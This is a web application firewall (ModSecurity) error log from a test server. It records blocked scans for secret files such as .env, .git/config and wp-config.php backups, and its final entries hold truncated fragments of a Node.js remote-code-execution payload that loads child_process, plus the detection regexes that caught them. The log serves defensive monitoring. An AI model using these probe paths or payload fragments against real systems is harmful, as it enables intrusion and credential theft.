[Sat Dec 27 07:52:58.615799 2025] [:error] [pid 1011768] [client 195.178.110.132:57708] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aU-CSn5PIthcGFc6RztOxAAAAAk&quot;]
[Sat Dec 27 07:52:58.615960 2025] [:error] [pid 1011768] [client 195.178.110.132:57708] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aU-CSn5PIthcGFc6RztOxAAAAAk&quot;]
[Sat Dec 27 07:52:58.616194 2025] [:error] [pid 1011768] [client 195.178.110.132:57708] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aU-CSn5PIthcGFc6RztOxAAAAAk&quot;]
[Sat Dec 27 07:52:58.616351 2025] [:error] [pid 1011768] [client 195.178.110.132:57708] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aU-CSn5PIthcGFc6RztOxAAAAAk&quot;]
[Sat Dec 27 07:52:58.757838 2025] [:error] [pid 1011771] [client 195.178.110.132:57714] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aU-CSrtWUGk28ocUg5prWgAAAA8&quot;]
[Sat Dec 27 07:52:58.758062 2025] [:error] [pid 1011771] [client 195.178.110.132:57714] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aU-CSrtWUGk28ocUg5prWgAAAA8&quot;]
[Sat Dec 27 07:52:58.758217 2025] [:error] [pid 1011771] [client 195.178.110.132:57714] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aU-CSrtWUGk28ocUg5prWgAAAA8&quot;]
[Sat Dec 27 07:52:58.844026 2025] [:error] [pid 1011812] [client 195.178.110.132:57718] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aU-CSkuQBFEFbokD23kLIQAAAAE&quot;]
[Sat Dec 27 07:52:58.844259 2025] [:error] [pid 1011812] [client 195.178.110.132:57718] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aU-CSkuQBFEFbokD23kLIQAAAAE&quot;]
[Sat Dec 27 07:52:58.844424 2025] [:error] [pid 1011812] [client 195.178.110.132:57718] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aU-CSkuQBFEFbokD23kLIQAAAAE&quot;]
[Sat Dec 27 07:52:58.928897 2025] [:error] [pid 1011765] [client 195.178.110.132:57724] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aU-CSi_D7B67z4HwCEh-3AAAAAY&quot;]
[Sat Dec 27 07:52:58.929117 2025] [:error] [pid 1011765] [client 195.178.110.132:57724] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aU-CSi_D7B67z4HwCEh-3AAAAAY&quot;]
[Sat Dec 27 07:52:58.929271 2025] [:error] [pid 1011765] [client 195.178.110.132:57724] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aU-CSi_D7B67z4HwCEh-3AAAAAY&quot;]
[Sat Dec 27 07:52:59.038030 2025] [:error] [pid 1011770] [client 195.178.110.132:57734] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU-CS2zuPIZ1snQmEoSOOQAAAA4&quot;]
[Sat Dec 27 07:52:59.038280 2025] [:error] [pid 1011770] [client 195.178.110.132:57734] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU-CS2zuPIZ1snQmEoSOOQAAAA4&quot;]
[Sat Dec 27 07:52:59.038451 2025] [:error] [pid 1011770] [client 195.178.110.132:57734] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aU-CS2zuPIZ1snQmEoSOOQAAAA4&quot;]
[Sat Dec 27 07:52:59.200525 2025] [:error] [pid 1011769] [client 195.178.110.132:57738] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aU-CS2xZELPUBAb0gs46ZAAAAAo&quot;]
[Sat Dec 27 07:52:59.200770 2025] [:error] [pid 1011769] [client 195.178.110.132:57738] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aU-CS2xZELPUBAb0gs46ZAAAAAo&quot;]
[Sat Dec 27 07:52:59.200935 2025] [:error] [pid 1011769] [client 195.178.110.132:57738] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aU-CS2xZELPUBAb0gs46ZAAAAAo&quot;]
[Sat Dec 27 07:52:59.334981 2025] [:error] [pid 1011767] [client 195.178.110.132:57742] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aU-CS6lsydbmmsf5F6N98wAAAAg&quot;]
[Sat Dec 27 07:52:59.335126 2025] [:error] [pid 1011767] [client 195.178.110.132:57742] [client 195.178.110.132] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aU-CS6lsydbmmsf5F6N98wAAAAg&quot;]
[Sat Dec 27 07:52:59.335342 2025] [:error] [pid 1011767] [client 195.178.110.132:57742] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aU-CS6lsydbmmsf5F6N98wAAAAg&quot;]
[Sat Dec 27 07:52:59.335495 2025] [:error] [pid 1011767] [client 195.178.110.132:57742] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aU-CS6lsydbmmsf5F6N98wAAAAg&quot;]
[Sat Dec 27 07:53:17.575607 2025] [:error] [pid 1011772] [client 195.178.110.132:55862] [client 195.178.110.132] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aU-CXcF8-8ETclzk_RvCVgAAABA&quot;]
[Sat Dec 27 07:53:17.576585 2025] [:error] [pid 1011772] [client 195.178.110.132:55862] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aU-CXcF8-8ETclzk_RvCVgAAABA&quot;]
[Sat Dec 27 07:53:17.576773 2025] [:error] [pid 1011772] [client 195.178.110.132:55862] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aU-CXcF8-8ETclzk_RvCVgAAABA&quot;]
[Sat Dec 27 15:48:51.562254 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Rule 7f555aa31898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.562370 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Rule 7f555aa26760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.564042 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.564165 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Rule 7f555a677bf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
[Sat Dec 27 15:48:51.564312 2025] [:error] [pid 1011771] [client 68.183.216.71:7436] [client 68.183.216.71] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aU_x07tWUGk28ocUg5pregAAAA8&quot;]
